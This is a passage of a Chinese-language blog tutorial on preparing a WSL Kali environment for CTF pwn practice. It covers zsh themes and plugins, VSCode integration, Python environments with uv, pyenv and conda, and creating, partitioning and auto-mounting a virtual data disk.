&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-7141E61A-6F6D-4E34-B008-0AB98B591CF1.webp&quot; alt=&quot;pwn_environment_linux-wsl-7141E61A-6F6D-4E34-B008-0AB98B591CF1&quot; /&gt;
当然也可以自行在搜索引擎上寻找自己喜欢的主题，&lt;strong&gt;每个主题的安装方式可能有差别&lt;/strong&gt;，所以请大家仔细阅读每个主题提供的安装文档！这里我以 Powerlevel10k 主题为例，链接：&lt;a href=&quot;https://github.com/romkatv/powerlevel10k&quot;&gt;romkatv/powerlevel10k: A Zsh theme&lt;/a&gt;
可以参考源页面的安装方法，下载方式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以使用 gitee.com 上的官方镜像加速下载&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone --depth=1 https://gitee.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑 &lt;code&gt;~/.zshrc&lt;/code&gt; 并找到  &lt;code&gt;ZSH_THEME&lt;/code&gt; , 改为 &lt;code&gt;&quot;powerlevel10k/powerlevel10k&quot;&lt;/code&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-36E78827-0749-4634-8FF0-4132EEEB8139.webp&quot; alt=&quot;pwn_environment_linux-wsl-36E78827-0749-4634-8FF0-4132EEEB8139&quot; /&gt;
这个主题第一次运行会有一个引导初始化设置的界面，如果不小心关掉或者想尝试一些别的设置可以使用 &lt;code&gt;p10k configure&lt;/code&gt; 再次启动
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-94301A65-5BF6-42E2-AF7B-67773D9D01D3.webp&quot; alt=&quot;pwn_environment_linux-wsl-94301A65-5BF6-42E2-AF7B-67773D9D01D3&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4-3-4 启用一些喜欢的 oh-my-zsh 插件&lt;/h4&gt;
&lt;p&gt;zsh 内置了许多丰富的插件，查看可以在 &lt;code&gt;$ZSH/plugins/&lt;/code&gt; 下查看
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-4C577E90-59E5-44A0-A820-9293CCDC832C.webp&quot; alt=&quot;pwn_environment_linux-wsl-4C577E90-59E5-44A0-A820-9293CCDC832C&quot; /&gt;
网络上也有许多优秀的插件，比如 &lt;strong&gt;zsh-syntax-highlighting&lt;/strong&gt;：&lt;a href=&quot;https://github.com/zsh-users/zsh-syntax-highlighting&quot;&gt;zsh-users/zsh-syntax-highlighting: Fish shell like syntax highlighting for Zsh.&lt;/a&gt;
它们都需要在 &lt;code&gt;$ZSH/custom/plugins/&lt;/code&gt; 目录下安装，或者是已经自带，&lt;strong&gt;包括 zsh-syntax-highlighting 在内的第三方插件都会在 github 官方文档中写明插件的安装方式&lt;/strong&gt;，例如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更多有意思的插件可以在网络上寻找或查找相关大佬的文章
当安装好插件后就可以启用了，还是在 &lt;code&gt;.zshrc&lt;/code&gt; 中启用，我们找到 &lt;code&gt;plugins=()&lt;/code&gt; 进行修改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;plugins=(
    # 我的示例，这里面写你要添加的插件名字
    git
    zsh-syntax-highlighting # 外部
    z
    ssh
    zsh-completions # 外部
    command-not-found
    history
    history-substring-search
    you-should-use # 外部
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;保存退出，&lt;strong&gt;重启 zsh 就可以看到&lt;/strong&gt;改变了&lt;/p&gt;
&lt;h3&gt;4-4 联动 VSCode&lt;/h3&gt;
&lt;p&gt;前往官网下载 VS Code
首先，确保宿主机安装了 VSCode ，并且安装了 WSL 插件
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-16D01610-C4A0-4BF4-9C60-7C77DE4F98E2.webp&quot; alt=&quot;pwn_environment_linux-wsl-16D01610-C4A0-4BF4-9C60-7C77DE4F98E2&quot; /&gt;尝试在 VSCode 中连接一下当前的虚拟机，点左边下面的 &lt;code&gt;&amp;gt;&amp;lt;&lt;/code&gt; 点 &lt;code&gt;连接到 WSL&lt;/code&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-99A304FE-58F3-4BB0-B108-6248BB531C1D.webp&quot; alt=&quot;pwn_environment_linux-wsl-99A304FE-58F3-4BB0-B108-6248BB531C1D&quot; /&gt;或者，尝试在虚拟机中使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;code .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一般来讲会安装一个叫 &lt;code&gt;.vscode-server&lt;/code&gt; 的东西，这个安装完就可以正常使用，如果不能用，把下面这个放到 &lt;code&gt;.bashrc&lt;/code&gt; 或者是 &lt;code&gt;.zshrc&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
alias code=&quot;/mnt/&amp;lt;映射主机的 VSCode 安装目录&amp;gt;/bin/code&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后直接在目录中使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
wsl -d kali-linux

code .

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可使用 &lt;code&gt;vscode&lt;/code&gt; 编写脚本&lt;/p&gt;
&lt;h2&gt;5. Python 独立环境安装&lt;/h2&gt;
&lt;h3&gt;5-1 为什么我需要一个独立 Python 环境&lt;/h3&gt;
&lt;p&gt;众所周知，Python 一般各个发行版都会提供，我们可以使用 &lt;code&gt;apt&lt;/code&gt; 安装，甚至已经内置，为什么我们不直接使用，并在系统的 Python 直接安装各种包呢？
其实，系统层面的 Python 大概率是为系统的其他部件提供支持的，许多 Python 项目通常需要依赖某些特定版本的库，可以说是专门为了系统各种软件和功能量身定制的，&lt;strong&gt;甚至可以说并不是给用户准备的&lt;/strong&gt;，如果你后期安装了一些系统已经内置的包，但是版本有冲突，可能会出现一些问题
对于某些经常更新的系统，例如 Kali-linux，它是一个 Rolling Release 即 滚动更新 的版本，&lt;strong&gt;apt 会不定期的更新安装所有安装的包&lt;/strong&gt;，&lt;s&gt;如果你和小伙伴约定组一辈子的 ctf 战队的话&lt;/s&gt;，&lt;strong&gt;如果遇到更新 Python 的情况，默认使用系统安装的 Python 的话，默认 Python 有朝一日可能会被更改成一个更新的版本&lt;/strong&gt;，这时候你使用 Python 就会发现你的 Python 环境一朝回到解放前，只能使用诸如 &lt;code&gt;python3.xx&lt;/code&gt; 的命令运行 Python 并且一些程序也会因为缺少依赖而无法运作，这是因为&lt;strong&gt;他会改掉 Python 对应的默认版本&lt;/strong&gt;
理论上&lt;strong&gt;你可以通过修改 Python 的链接符号&lt;/strong&gt;，或者是在新版本 Python 对应 &lt;code&gt;pip&lt;/code&gt; 安装包时添加参数  &lt;code&gt;--break-system-packages&lt;/code&gt; 来达成目的，但是我认为通过 &lt;code&gt;pip&lt;/code&gt; 安装会在滚动更新的系统上引起一些其他不必要的 bug，创建一个虚拟环境来安装需要的包是个不错的选择
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-FBBAF8F2-A943-419B-9A12-4C91E1D5F7EE.webp&quot; alt=&quot;pwn_environment_linux-wsl-FBBAF8F2-A943-419B-9A12-4C91E1D5F7EE&quot; /&gt;这里有几种解决方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;pyenv&lt;/code&gt; 、&lt;code&gt;conda&lt;/code&gt; 类型的环境管理&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;uv&lt;/code&gt; 进行环境管理&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;pipx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;apt&lt;/code&gt; 安装 &lt;code&gt;python3-pwntools&lt;/code&gt; 等包
这里只介绍前两种，通常你只需要一个独立的环境即可，不需要太麻烦的环境管理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5-2 安装 uv&lt;/h3&gt;
&lt;p&gt;uv 有详细的官方文档：&lt;a href=&quot;https://uv.doczh.com/getting-started/installation/&quot;&gt;安装 | uv 中文文档&lt;/a&gt;
可以使用一键安装脚本，&lt;strong&gt;请确认 &lt;code&gt;~/.local/bin&lt;/code&gt; 处于环境变量中&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -LsSf https://astral.sh/uv/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你想自定义安装的话，可以定义下面几个环境变量，&lt;strong&gt;记得把下面存放可执行文件的目录放到环境变量中&lt;/strong&gt;，也可以参考官方的 init 方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 写入 .bashrc

export UV_INSTALL_DIR=&quot;/mnt/wsldata/Environment/uv&quot;
# 这是 uv 的安装目录，先定义环境变量再执行安装脚本

export UV_CACHE_DIR=&quot;$UV_INSTALL_DIR/cache&quot;
# 这是 uv 的缓存目录

export UV_PYTHON_BIN_DIR=&quot;$UV_INSTALL_DIR/bin&quot;
# 这是 python 可执行文件目录，需要添加到 PATH

export UV_PYTHON_INSTALL_DIR=&quot;$UV_INSTALL_DIR/installed&quot;
# 这是 uv 的 pytohn 安装目录

export UV_TOOL_BIN_DIR=&quot;$UV_INSTALL_DIR/toolbin&quot;
# 这是 uv 所有安装的包的可执行文件目录，需要添加到 PATH

export UV_TOOL_DIR=&quot;$UV_INSTALL_DIR/tools&quot;
# 这是 uv 的包安装目录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装过后可以尝试执行 &lt;code&gt;uv&lt;/code&gt;，发现可以正常工作
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-5999096E-593F-4A22-BFCC-F7F6C611F1A2.webp&quot; alt=&quot;pwn_environment_linux-wsl-5999096E-593F-4A22-BFCC-F7F6C611F1A2&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;5-3 安装 Pyenv&lt;/h3&gt;
&lt;p&gt;Pyenv 官方仓库：&lt;a href=&quot;https://github.com/pyenv/pyenv&quot;&gt;pyenv/pyenv: Simple Python version management&lt;/a&gt;
一键安装可以使用官方提供的脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -fsSL https://pyenv.run | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你想安装到自己的目录，你可以尝试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/pyenv/pyenv.git /path/to/directory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你使用 zsh，下一步需要执行下面的命令（作用是添加下面对应内容进入 &lt;code&gt;.zshrc&lt;/code&gt;）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;export PYENV_ROOT=&quot;$HOME/.pyenv&quot;&apos; &amp;gt;&amp;gt; ~/.zshrc
echo &apos;[[ -d $PYENV_ROOT/bin ]] &amp;amp;&amp;amp; export PATH=&quot;$PYENV_ROOT/bin:$PATH&quot;&apos; &amp;gt;&amp;gt; ~/.zshrc
echo &apos;eval &quot;$(pyenv init - zsh)&quot;&apos; &amp;gt;&amp;gt; ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自己安装请改动目录位置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;export PYENV_ROOT=&quot;/path/to/directory/.pyenv&quot;&apos; &amp;gt;&amp;gt; ~/.zshrc
echo &apos;[[ -d $PYENV_ROOT/bin ]] &amp;amp;&amp;amp; export PATH=&quot;$PYENV_ROOT/bin:$PATH&quot;&apos; &amp;gt;&amp;gt; ~/.zshrc
echo &apos;eval &quot;$(pyenv init - zsh)&quot;&apos; &amp;gt;&amp;gt; ~/.zshrc

# 追加插件
git clone https://github.com/pyenv/pyenv-virtualenv.git $(pyenv root)/plugins/pyenv-virtualenv
echo &apos;eval &quot;$(pyenv virtualenv-init -)&quot;&apos; &amp;gt;&amp;gt; ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以参考我的
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-82294B13-D5F2-4440-B0C5-6D29DC399767.webp&quot; alt=&quot;pwn_environment_linux-wsl-82294B13-D5F2-4440-B0C5-6D29DC399767&quot; /&gt;然后就可以使用了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pyenv # 输入

pyenv 2.6.7-13-g2ecd676a
Usage: pyenv &amp;lt;command&amp;gt; [&amp;lt;args&amp;gt;]

Some useful pyenv commands are:
   commands    List all available pyenv commands
   exec        Run an executable with the selected Python version
   global      Set or show the global Python version(s)
   help        Display help for a command
   hooks       List hook scripts for a given pyenv command
   init        Configure the shell environment for pyenv
   install     Install a Python version using python-build
   latest      Print the latest installed or known version with the given prefix
   local       Set or show the local application-specific Python version(s)
   prefix      Display prefixes for Python versions
   rehash      Rehash pyenv shims (run this after installing executables)
   root        Display the root directory where versions and shims are kept
   shell       Set or show the shell-specific Python version
   shims       List existing pyenv shims
   uninstall   Uninstall Python versions
   --version   Display the version of pyenv
   version     Show the current Python version(s) and its origin
   version-file   Detect the file that sets the current pyenv version
   version-name   Show the current Python version
   version-origin   Explain how the current Python version is set
   versions    List all Python versions available to pyenv
   whence      List all Python versions that contain the given executable
   which       Display the full path to an executable

See `pyenv help &amp;lt;command&amp;gt;&apos; for information on a specific command.
For full documentation, see: https://github.com/pyenv/pyenv#readme
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是还没有结束，你需要安装 一些库来保证你可以编译出 Python，不同发行版可以参考：&lt;a href=&quot;https://github.com/pyenv/pyenv/wiki#suggested-build-environment&quot;&gt;Suggested-build-environment · pyenv/pyenv Wiki&lt;/a&gt;
这里列出 Debian 系的包列表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update;
sudo apt install make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev curl git libncursesw5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev libffi-dev liblzma-dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以准备安装工作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pyenv install -l # 列出版本列表
pyenv install &amp;lt;某个列出的版本号&amp;gt;

# 替换默认终端（可选）
pyenv global &amp;lt;某个列出的版本号&amp;gt;
zsh # 刷新终端，可能需要
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5-4 安装 Anconda 或 Miniforge&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Anconda&lt;/code&gt; 自带的库我们很可能用不到，反正用到还能自己装，所以我们选择小而美的 &lt;code&gt;Miniconda&lt;/code&gt;，当然选择 &lt;code&gt;Anconda&lt;/code&gt; 也可以
Anconda 官网：&lt;a href=&quot;https://www.anaconda.com/download&quot;&gt;Download Anaconda Distribution | Anaconda&lt;/a&gt;
点击 &lt;code&gt;Skip Registration&lt;/code&gt; 跳过登录即可下载（或者 &lt;a href=&quot;https://www.anaconda.com/download/success&quot;&gt;Download Now | Anaconda&lt;/a&gt;），不过为了方便我们可以复制下载链接使用 wget（注意链接时效性）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh
chmod 777 Miniconda3-latest-Linux-x86_64.sh

./Miniconda3-latest-Linux-x86_64.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们还可以在阅读完用户协议后定义安装路径
如果你以后可能会涉及到商业纠纷的问题，那你可以使用这个社区版，去 Releases 下载安装包安装：&lt;a href=&quot;https://github.com/conda-forge/miniforge&quot;&gt;conda-forge/miniforge: A conda-forge distribution.&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod 777 Miniforge3-25.3.0-3-Linux-x86_64.sh

./Miniforge3-25.3.0-3-Linux-x86_64.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同上文安装方法，安装之后，正常情况下你可以直接使用初始化命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;conda init
zsh # 刷新终端
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认情况下，初始化之后每次启动 Shell 会自动激活自带的 &lt;code&gt;base&lt;/code&gt; 环境&lt;/p&gt;
&lt;h3&gt;5-5 创建更加独立的虚拟环境&lt;/h3&gt;
&lt;p&gt;:::tip
提示：部分 &lt;code&gt;oh-my-zsh&lt;/code&gt; 主题可能会使 &lt;code&gt;conda&lt;/code&gt; / &lt;code&gt;pyenv&lt;/code&gt; 显示环境名的功能失效，每个主题修复的方式不一，大家可以自行百度
:::
因为你会在不同的场合安装不同的包，所以你大概率需要创建一个虚拟环境，如果你立志成为一个 Pwn 大师，安装相关环境肯定是缺不了的，在这之后，我们就可以创建一个为 CTF 准备的 Python 环境了&lt;/p&gt;
&lt;h4&gt;5-4-1 uv&lt;/h4&gt;
&lt;p&gt;找一个合适的目录，使用命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv venv /path/to/env # 即存放环境的位置，根据自己的需求更改
# uv venv ./CTFpy 这是我的方法

source CTFpy/bin/activate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就可以激活虚拟环境
不同的是，uv 并不支持你随时随地都能激活这个环境，你可以向你的 .zshrc 写入&lt;strong&gt;自定义函数&lt;/strong&gt;来实现加载一个文件夹的虚拟环境，可以参考我的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv-venv() {
    local VENV_BASE=&quot;/home/Lufiende/Environment/mounted/uv-globalvenv&quot;
    # 更改自己的目录，我将所有可能会常用的通用环境放到了一个目录

    if [ -z &quot;$1&quot; ]; then
        echo &quot;用法: uv-venv &amp;lt;环境名称&amp;gt;&quot;
        echo &quot;当前可用环境:&quot;
        ls &quot;$VENV_BASE&quot;
        return 1
    fi

    local TARGET_ENV=&quot;$VENV_BASE/$1/bin/activate&quot;
    if [ ! -f &quot;$TARGET_ENV&quot; ]; then
        echo &quot;错误: 环境 &apos;$1&apos; 不存在于 $VENV_BASE&quot;
        return 1
    fi

    if [ -n &quot;$VIRTUAL_ENV&quot; ]; then
        echo &quot;正在退出当前环境: $(basename &quot;$VIRTUAL_ENV&quot;)...&quot;
        deactivate
    fi
    
    source &quot;$TARGET_ENV&quot;
    echo &quot;已激活环境: $1&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候，你只需要&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
uv-venv &amp;lt;环境名称&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就可以执行目录里的环境了
:::tip
当你要在当前环境安装包时，请使用 &lt;code&gt;uv pip&lt;/code&gt; 来代替 pip
:::
如果你要使用 VS Code 的话，你需要修改一下配置文件的 &lt;code&gt;python.venvPath&lt;/code&gt; 来确保你的环境能被搜索到
转到 &lt;code&gt;文件 &amp;gt; 首选项 &amp;gt; 设置&lt;/code&gt; &lt;strong&gt;选中远程后&lt;/strong&gt;搜索 &lt;code&gt;python.venvPath&lt;/code&gt;，填入你存放虚拟环境的目录
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-A36E2158-8460-4FB8-8E35-26619DDC8F65.webp&quot; alt=&quot;pwn_environment_linux-wsl-A36E2158-8460-4FB8-8E35-26619DDC8F65&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;5-4-2 Pyenv&lt;/h4&gt;
&lt;p&gt;输入以下指令就可以创建并激活&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pyenv virtualenv &amp;lt;版本号&amp;gt; &amp;lt;名称&amp;gt;
pyenv local &amp;lt;名称&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例如我要创建并激活一个 3.13.7 的 CTFpy 虚拟环境，我就可以
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-E4CF7E5F-13B0-4F58-8435-1D31B3218302.webp&quot; alt=&quot;pwn_environment_linux-wsl-E4CF7E5F-13B0-4F58-8435-1D31B3218302&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;5-4-3 Conda / Miniforge&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;conda create -n &amp;lt;起个名字&amp;gt; python=3.12
conda activate &amp;lt;名字&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们修改一下 &lt;code&gt;.zshrc&lt;/code&gt;，如果你使用 &lt;code&gt;zsh&lt;/code&gt; 的话，末尾添加&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;conda activate &amp;lt;名字&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就可以默认激活对应环境&lt;/p&gt;
&lt;h2&gt;6. 添加并挂载数据盘（可选）&lt;/h2&gt;
&lt;p&gt;官方教程：&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/wsl/wsl2-mount-disk#mount-a-vhd-in-wsl&quot;&gt;开始在 WSL 2 中挂载 Linux 磁盘 | Microsoft Learn&lt;/a&gt;
有时候你可能会运行多个 wsl 发行版，并且会共同使用一些环境和数据，每个系统盘都下载一遍还是有点占空间了，我们可以单独挂载一个数据盘存储一些不是很吃环境的资料&lt;/p&gt;
&lt;h3&gt;6-1 添加虚拟磁盘&lt;/h3&gt;
&lt;p&gt;我们可以右键此电脑，点击 &lt;code&gt;管理&lt;/code&gt; 进入计算机管理（进入方式不唯一），找到磁盘管理
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-30C55319-6C14-42D6-A521-B12677D5177D.webp&quot; alt=&quot;pwn_environment_linux-wsl-30C55319-6C14-42D6-A521-B12677D5177D&quot; /&gt;然后选择更多操作，再选择创建 vhd 选项，就可以进入虚拟磁盘创建页面，填入参数即可创建，可以参考我的
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-0C8AC3BF-47BF-4C24-B5E4-5BFCC04E06C7.webp&quot; alt=&quot;pwn_environment_linux-wsl-0C8AC3BF-47BF-4C24-B5E4-5BFCC04E06C7&quot; /&gt;然后我们会看到一个上面有黑条的磁盘跳出来了，我们先分离一下，右键分离，不然会被系统占用
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-865F6D2C-902C-4BB6-99A6-E955140014FC.webp&quot; alt=&quot;pwn_environment_linux-wsl-865F6D2C-902C-4BB6-99A6-E955140014FC&quot; /&gt;然后我们输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl --mount --vhd &quot;X:\path\to\data.vhdx&quot; --bare
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可完成挂载&lt;/p&gt;
&lt;h3&gt;6-2 持久化挂载&lt;/h3&gt;
&lt;p&gt;值得一提的是，这个挂载不是永久的，当你重启 WSL 的时候就失去了挂载，&lt;strong&gt;因为我们希望虚拟机启动后挂载，其实我们可以使用 Crontab 启动&lt;/strong&gt;，在某处准备一个脚本，写上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim /path/to/automount
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
/mnt/c/WINDOWS/system32/wsl.exe --mount --vhd &quot;X:\path\to\Data.vhdx&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后添加任务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;crontab -e

# 打开后添加
@reboot /path/tp/automount
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重启 WSL 查看挂载情况&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl --shutdown
wsl

# 进入之后
lsblk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你会看到多出一块 128G 的磁盘，如下图，&lt;strong&gt;不过它的名称可能不固定，取决于挂载时机&lt;/strong&gt;，正常按上文步骤你的磁盘应该是 &lt;code&gt;sde&lt;/code&gt; ，但是如果你是先挂载再进入的子系统那么挂载的硬盘位置比系统盘要前，名字也会变成 &lt;code&gt;sdd&lt;/code&gt;，但是丝毫不影响，下面操作
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-E50CED3B-270D-4821-B62B-E786515D650F.webp&quot; alt=&quot;pwn_environment_linux-wsl-E50CED3B-270D-4821-B62B-E786515D650F&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;6-3 使用 fdisk 进行分区&lt;/h3&gt;
&lt;p&gt;使用命令行工具 &lt;code&gt;fdisk&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 输入
sudo fdisk /dev/sde

# 回显
Welcome to fdisk (util-linux 2.41.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Device does not contain a recognized partition table.
Created a new DOS (MBR) disklabel with disk identifier 0xc148e97b.

Command (m for help): m

Help:
  DOS (MBR)
   a   toggle a bootable flag
   b   edit nested BSD disklabel
   c   toggle the dos compatibility flag

  Generic
   d   delete a partition
   F   list free unpartitioned space
   l   list known partition types
   n   add a new partition
   p   print the partition table
   t   change a partition type
   v   verify the partition table
   i   print information about a partition
   e   resize a partition
   T   discard (trim) sectors
   
  Misc

   m   print this menu
   u   change display/entry units
   x   extra functionality (experts only)
   
  Script
   I   load disk layout from sfdisk script file
   O   dump disk layout to sfdisk script file
   
  Save &amp;amp; Exit
   w   write table to disk and exit
   q   quit without saving changes

  Create a new label
   g   create a new empty GPT partition table
   G   create a new empty SGI (IRIX) partition table
   o   create a new empty MBR (DOS) partition table
   s   create a new empty Sun partition table
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们要做的无非就是&lt;strong&gt;新建一个 GPT 格式的分区&lt;/strong&gt;，按下面来就可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Command (m for help): g

# 使用GPT
Created a new GPT disklabel (GUID: 89089BCF-4A99-4839-8857-F96D8A5CA7E6).

The device contains &apos;dos&apos; signature and it will be removed by a write command. See fdisk(8) man page and --wipe option for more details.

Command (m for help): n
# 新建分区

Partition number (1-128, default 1):
First sector (2048-268435422, default 2048):
Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-268435422, default 268433407):
# 全部回车默认

Created a new partition 1 of type &apos;Linux filesystem&apos; and of size 128 GiB.
Command (m for help): w
# 应用修改
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候我们就可以看到原来的新加磁盘 &lt;code&gt;sde&lt;/code&gt; 多了一个 &lt;code&gt;sde1&lt;/code&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-CB178B19-4970-4667-B1FA-0D42F6469920.webp&quot; alt=&quot;pwn_environment_linux-wsl-CB178B19-4970-4667-B1FA-0D42F6469920&quot; /&gt;最后我们格式化分区为 ext4&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mkfs.ext4 /dev/sde1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6-4 磁盘挂载到目录&lt;/h3&gt;
&lt;p&gt;我们可以随便创建一个文件夹作为挂载点，一般来说都会再 /mnt 目录下建立一个文件夹&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mkdir /path/to/folder
# 例如 sudo mkdir /mnt/wsldata
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于磁盘名称可能会改变，所以我们需要使用唯一的 UUID 来识别每一个磁盘&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
lsblk -f

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你会看到下面的内容
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-E7CA0537-10A7-484D-815C-1814D61BACB4.webp&quot; alt=&quot;pwn_environment_linux-wsl-E7CA0537-10A7-484D-815C-1814D61BACB4&quot; /&gt;
复制 &lt;code&gt;sde1&lt;/code&gt; 的 UUID，输入下面的命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo mount UUID=&amp;lt;复制下来&amp;gt; /path/to/folder
# 例如 sudo mount UUID=4a1b8e8a-1251-4644-b987-37851976cb97 /mnt/wsldata
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后你就可以顺利挂载了，同时上面的命令可以添加到持久化挂载的脚本
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-A6A6624A-B598-416A-A668-26E2DA1DF95E.webp&quot; alt=&quot;pwn_environment_linux-wsl-A6A6624A-B598-416A-A668-26E2DA1DF95E&quot; /&gt;&lt;/p&gt;
